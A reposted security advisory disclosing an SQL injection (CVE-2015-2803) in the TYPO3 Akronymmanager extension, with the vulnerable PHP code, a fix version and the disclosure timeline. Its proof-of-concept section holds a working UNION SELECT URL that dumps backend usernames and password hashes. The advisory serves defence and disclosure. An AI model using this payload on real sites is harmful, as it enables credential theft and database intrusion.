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Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2015060090

Below is a copy:

TYPO3 Akronymmanager Extension 0.5.0 SQL InjectionAdvisory: SQL Injection in TYPO3 Extension Akronymmanager
 
An SQL injection vulnerability in the TYPO3 extension "Akronymmanager" allows authenticated attackers to inject SQL statements and thereby read data from the TYPO3 database.
 
 
Details
=======
 
Product: sb_akronymmanager
Affected Versions: <=0.5.0
Fixed Versions: 7.0.0
Vulnerability Type: SQL Injection
Security Risk: medium
Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002
Advisory Status: published 
CVE: CVE-2015-2803
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803
 
 
Introduction
============
 
"The Acronym Manager adds special explanatory markup to acronyms, abbreviations and foreign words on the whole site following the requirement to accessible web content.
 
It provides a backend module to administer a list of words to generate new HTML elements for explanatory markup."
 
(from the extension's documentation)
 
 
More Details
============
 
Users with the respective privileges can maintain acronyms through the Akronymmanager extension pages in the TYPO3 backend web interface.
 
In the extension's file mod1/index.php, an SQL query is generated like follows (line 357 and following):
 
[...]
$pageID = t3lib_div::_GET("id");
if ($pageID) $where = "uid='$pageID' AND ";
$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',
    $where.'hidden="0" AND deleted="0"','sorting');
[...]
 
The value of the user-supplied HTTP GET parametre 'id' is used without sanitizing it before its use in the subsequent SQL statement. Therefore, attackers are able to manipulate the resulting SQL statement and inject their own queries into the statement.
 
 
Proof of Concept
================
 
When requesting the following URL, the vulnerability is exploited to yield all usernames and hashes from the TYPO3 be_users database:
 
------------------------------------------------------------------------
http://server/typo3conf/ext/sb_akronymmanager/mod1/index.php?
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)
%20FROM%20be_users),2%20--%20
------------------------------------------------------------------------
 
The login credentials are then embedded in the HTML page that is returned: 
 
[...]
  <!-- Section header -->
  <h2>user1:$hash,user2:$hash[...]</h2>
[...]
 
 
Workaround
==========
 
Only give trusted users access to the Akronymmanager extension in the TYPO3 backend.
 
 
Fix
===
 
Upgrade the extension to version 7.0.0.
 
 
Security Risk
=============
 
An attacker who has access to the backend part of the Akronymmanager extension may send SQL queries to the database. This can be used to read arbitrary tables of the TYPO3 database and may ultimately result in a privilege escalation if the TYPO3 users' password hashes can be cracked efficiently. Depending on the database configuration, it might also be possible to execute arbitrary commands on the database host.  As the attack requires an attacker who already has backend access, the vulnerability is estimated to pose only a medium risk.
 
 
Timeline
========
 
2015-02-25 Vulnerability identified
2015-03-04 Customer approved disclosure to vendor
2015-03-10 CVE number requested
2015-03-10 Vendor notified
2015-03-26 CVE number requested again
2015-03-31 CVE number assigned (request #2)
2015-03-31 Vendor notified again
2015-03-31 Vendor responded
2015-04-08 Vendor announced fixed version available at the end of April
2015-05-13 Requested update from vendor
2015-05-15 Vendor requests more time
2015-05-21 Requested update from vendor
2015-05-22 Vendor states that upload to extension registry doesn't work
2015-06-03 Requested update from vendor
2015-06-10 Vendor uploads new version to extension registry
2015-06-15 Advisory published
 
 
 
RedTeam Pentesting GmbH
=======================
 
RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
 
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
 
More information about RedTeam Pentesting can be found at

https://www.redteam-pentesting.de.
 
 
-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschftsfhrer:                       Patrick Hof, Jens Liebchen

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